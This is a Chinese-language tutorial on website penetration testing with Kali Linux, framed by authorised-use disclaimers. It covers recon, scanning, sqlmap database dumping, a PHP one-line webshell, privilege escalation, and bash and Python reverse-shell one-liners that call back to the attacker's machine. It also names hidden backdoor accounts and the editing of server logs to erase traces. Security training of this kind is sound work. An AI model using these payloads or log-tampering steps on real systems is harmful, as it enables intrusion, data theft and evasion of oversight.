
- 仅供学习和授权测试! 以下所有技术和工具,绝对禁止用于任何未经明确书面授权的网站或系统,未经授权的入侵是严重的违法行为,会带来包括但不限于罚款、监禁在内的法律后果。
- 道德准则: 一个真正的白帽黑客(道德黑客)的首要原则是“不造成损害”,你的目标是找到并报告漏洞,帮助网站所有者修复,而不是窃取数据、破坏系统或造成任何形式的损害。
- 责任自负: 如果你选择在不授权的情况下进行测试,一切后果由你个人承担,本指南不承担任何责任。
网站渗透测试方法论(基于 Kali Linux)
一个专业的渗透测试遵循一个结构化的流程,通常包括以下几个阶段:
- 信息收集
- 漏洞扫描与分析
- 漏洞利用
- 权限提升
- 维持访问
- 清理痕迹与报告
下面我们结合 Kali Linux 的工具,一步步展开。
信息收集
这是所有测试的基础,你需要尽可能多地了解目标网站。
域名与子域名信息
-
工具:
whois
(图片来源网络,侵删)- 用途: 查询域名注册信息,如注册商、注册人、过期时间、DNS 服务器等。
- 命令:
whois example.com
-
工具:
theHarvester- 用途: 强大的信息收集工具,可以从搜索引擎、Shodan、 censys 等公开渠道收集子域名、邮箱、虚拟主机、员工姓名等。
- 命令:
theHarvester -d example.com -b google # -d 指定域名, -b 指定数据源 # 还可以尝试 bing, baidu, shodan 等
-
工具:
sublist3r- 用途: 专门用于发现子域名的工具。
- 命令:
sublist3r -d example.com
网站技术栈识别
了解网站使用的技术(如 Web 服务器、编程语言、CMS、框架)有助于寻找针对性的漏洞。
-
工具:
WhatWeb
(图片来源网络,侵删)- 用途: 识别网站使用的技术,版本号,甚至一些已知的插件。
- 命令:
whatweb http://example.com
-
工具:
Wappalyzer(浏览器插件)- 用途: 安装在 Chrome 或 Firefox 上,可以直观地显示网站的技术栈。
-
工具:
curl- 用途: 获取服务器的响应头,里面可能包含服务器信息(如
Server: Apache/2.4.41)。 - 命令:
curl -I http://example.com
- 用途: 获取服务器的响应头,里面可能包含服务器信息(如
目录和文件枚举
寻找网站后台、备份文件、隐藏的目录或脚本。
-
工具:
DirBuster/gobuster-
用途: 使用字典爆破的方式,发现网站存在的目录和文件。
-
gobuster命令示例:# 使用 Kali 自带的字典 gobuster dir -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # 使用更强大的 raft-large-directories.txt gobuster dir -u http://example.com -w /usr/share/wordlists/raft-large-directories.txt
-
漏洞扫描与分析
在收集了足够信息后,使用自动化工具扫描已知的漏洞。
-
工具:
Nikto- 用途: 老牌但仍然有效的 Web 服务器扫描器,会检查数百个已知的危险文件、目录和配置错误。
- 命令:
nikto -h http://example.com
-
工具:
Nmap(with NSE Scripts)- 用途: 不仅用于端口扫描,其 NSE (Nmap Scripting Engine) 脚本库包含大量针对 Web 应用的漏洞检测脚本。
- 命令:
# 扫描常见的 Web 漏洞 nmap -sV --script http-vuln* http://example.com
-
工具:
OWASP ZAP (Zed Attack Proxy)- 用途: 这是一个功能极其强大的交互式 Web 应用渗透测试工具,它可以主动和被动地扫描漏洞,拦截和修改请求,进行 Fuzzing 测试等,是进行 Web 渗透测试的核心工具之一。
漏洞利用
这是最核心的阶段,利用发现的漏洞获取对服务器的初步访问权限。
常见漏洞类型及利用方法:
-
SQL 注入
-
描述: 攻击者可以通过输入恶意的 SQL 语句,操纵后端数据库。
-
工具:
sqlmap -
示例: 假设你发现了一个 URL
http://example.com/news.php?id=1可能存在 SQL 注入。# 自动检测和利用注入点 sqlmap -u "http://example.com/news.php?id=1" --dbs # 获取指定数据库中的所有表 sqlmap -u "http://example.com/news.php?id=1" -D database_name --tables # 获取指定表中的所有数据 sqlmap -u "http://example.com/news.php?id=1" -D database_name -T users --dump
-
-
跨站脚本
- 描述: 在用户浏览器中注入恶意脚本,窃取会话 Cookie、钓鱼等。
- 利用: 通常需要构造一个恶意链接,诱骗管理员或普通用户点击,然后在浏览器控制台执行代码。
-
文件上传漏洞
- 描述: 网站允许用户上传文件,但没有对文件类型、内容进行严格校验,导致可以上传 Webshell(如 PHP 一句话木马)。
- 利用:
- 使用
Burp Suite或OWASP ZAP拦截上传请求,修改文件扩展名(如.php)。 - 上传一个简单的 PHP Webshell,
<?php system($_GET['cmd']); ?>
- 上传后,通过浏览器访问该文件,并执行系统命令,
http://example.com/uploads/shell.php?cmd=whoami
- 使用
-
远程代码执行
- 描述: 最严重的漏洞之一,允许攻击者在服务器上直接执行任意命令。
- 利用: 这通常需要特定的漏洞利用代码,例如针对特定软件版本(如 Struts2, Log4j)的 POC (Proof of Concept),Kali 的
searchsploit工具可以帮助查找这些 POC。searchsploit Apache 2.4
权限提升
当你成功获取一个低权限账户(如 Web 服务器运行账户 www-data)的 Shell 后,下一步就是提升到更高权限(如 root)。
-
工具:
LinPEAS/LinEnum- 用途: 自动化的 Linux 权限提升脚本,会检查系统配置、服务、SUID 文件、内核漏洞等,寻找提权线索。
- 命令: 将脚本上传到目标服务器后执行。
# 假设你已上传 linpeas.sh ./linpeas.sh
-
手动检查:
- 查看可执行的 SUID/SGID 文件 (
find / -perm -4000 -type f)。 - 检查内核版本和发行版,查找已知漏洞 (
uname -a)。 - 检查是否有
sudo权限 (sudo -l)。
- 查看可执行的 SUID/SGID 文件 (
维持访问
为了方便后续测试,你需要创建一个“后门”,确保即使重启服务,你也能重新获得访问权限。
- 方法:
- Web Shell: 保留之前上传的 Webshell。
- 反向 Shell: 在目标服务器上执行一个命令,使其主动连接到你本地的监听端口,这是最常用的方法。
- 在你的 Kali 上监听:
nc -lvnp 4444
- 在目标服务器上执行(根据目标系统选择):
- Linux (Bash):
bash -i >& /dev/tcp/你的KaliIP/4444 0>&1
- Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的KaliIP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
- Linux (Bash):
- 在你的 Kali 上监听:
- 后门账户: 创建一个隐藏的管理员账户。
清理痕迹与报告
(仅在授权测试的最终报告中体现,实际非法操作中应跳过此步,并主动停止所有活动)
- 清理痕迹:
- 日志: 删除或修改 Web 服务器日志(如
/var/log/apache2/access.log)、系统日志(/var/log/auth.log)中的你的 IP 地址和操作记录。注意: 清理日志本身也是一种非常可疑的行为。 - 临时文件: 删除上传的工具、脚本、Shell 等。
- 日志: 删除或修改 Web 服务器日志(如
- 报告撰写:
- 清晰地描述测试目标、范围、时间。
- 详细记录每个发现的漏洞,包括漏洞类型、风险等级、复现步骤、潜在影响。
- 提供具体的修复建议。
Kali Linux 工具箱总结
| 阶段 | 核心工具 | 描述 |
|---|---|---|
| 信息收集 | whois, theHarvester, sublist3r |
域名、子域名、邮箱信息收集 |
WhatWeb, Wappalyzer |
Web 技术栈识别 | |
gobuster, DirBuster |
目录和文件枚举 | |
| 漏洞扫描 | Nikto |
Web 服务器漏洞扫描 |
Nmap (with NSE) |
端口和服务漏洞扫描 | |
OWASP ZAP |
交互式应用安全扫描器 | |
| 漏洞利用 | sqlmap |
自动化 SQL 注入利用 |
Burp Suite |
手动 Web 应用渗透测试(拦截、修改请求) | |
Metasploit Framework |
利用已知漏洞获取 Shell | |
searchsploit |
查找公开的漏洞利用代码 | |
| 权限提升 | LinPEAS, LinEnum |
Linux 权限提升自动化脚本 |
| 维持访问 | Netcat |
创建反向 Shell |
Metasploit |
创建 Meterpreter 会话(更强大的后门) | |
| 报告 | Markdown, LibreOffice |
撰写专业的渗透测试报告 |
再次强调,请务必在获得明确授权后,才能使用这些技术进行测试。 Kali Linux 是一个强大的学习平台,请善用它,用于提升网络安全技能,而非从事非法活动。
